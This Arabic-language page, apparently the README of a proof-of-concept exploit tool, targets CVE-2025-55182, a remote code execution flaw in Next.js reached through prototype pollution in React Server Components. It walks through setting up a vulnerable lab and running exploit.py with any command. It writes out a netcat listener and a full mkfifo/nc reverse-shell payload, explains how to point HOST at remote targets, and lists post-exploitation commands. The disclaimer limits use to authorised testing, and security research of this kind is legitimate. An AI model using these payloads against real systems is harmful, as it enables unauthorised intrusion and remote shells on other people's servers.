
استغلال دليل المفهوم لـ CVE-2025-55182 يُظهر تنفيذ التعليمات البرمجية عن بُعد في Next.js عبر التلوث النموذجي. يتضمن مختبرًا ضعيفًا مُعدًا مسبقًا للاختبار المصرح به وتوليد شل عكسية.
أداة إثبات المفهوم توضح ثغرة تنفيذ التعليمات البرمجية عن بُعد في تطبيقات Next.js من خلال تلوث النموذج الأولي في خط أنابيب عرض مكونات خادم React.
هذه الأداة مخصصة للأغراض التعليمية والاختبار المصرح به فقط. الاستخدام غير المصرح به ضد الأنظمة التي لا تملكها أو ليس لديك إذن لاختبارها غير قانوني.
git clone https://github.com/securifyai/React2Shell-CVE-2025-55182.git
cd React2Shell-CVE-2025-55182
# Create a new Next.js app with the vulnerable version
npm create [email protected] react2shell-lab
# Accept all defaults when prompted
cd react2shell-lab
ملاحظة: المختبر المُعد مسبقًا يتضمن بالفعل الكود الضعيف اللازم. إذا كنت تقوم بالإنشاء من البداية، ستحتاج إلى إضافة المكونات الضعيفة يدويًا.
cd react2shell-lab
npm install
في الطرفية 1:
npm run dev
يجب أن يبدأ الخادم على http://localhost:3000
يحتوي المستودع على ملف exploit.py يوضح الثغرة. قم بتعديل المتغير COMMAND في الملف إلى الأمر الذي تريده:
COMMAND = 'whoami' # Change this to any command you want to execute
قم بتشغيل الأداة:
python3 exploit.py
قم بإعداد مستمع netcat في طرفية جديدة:
nc -nvlp 4444
قم بتعديل ملف exploit.py وقم بتحديث الأمر إلى حمولة القذيفة العكسية الخاصة بك:
COMMAND = 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc YOUR_IP 4444 >/tmp/f'
استبدل YOUR_IP بعنوان IP الخاص بجهازك المحلي.
قم بتشغيل الأداة:
python3 exploit.py
قم بتعديل المتغير HOST في سكريبت الاستغلال لاستهداف الخوادم البعيدة:
HOST = 'target-ip-address' # Replace with target IP
PORT = 3000 # Default Next.js port
ls -launame -awhoamiifconfig أو ip aهذا المشروع مرخص بموجب رخصة MIT - راجع ملف LICENSE للتفاصيل.
هذا الإصدار يطلب إدخال المستخدم للهدف البعيد وعنوان IP للمهاجم والمنافذ. كما تم تقليص نص الطلب (body_parts) قليلاً في هذا الإصدار.
https://www.averlon.ai/blog/react2shell-cve-2025-55182-explained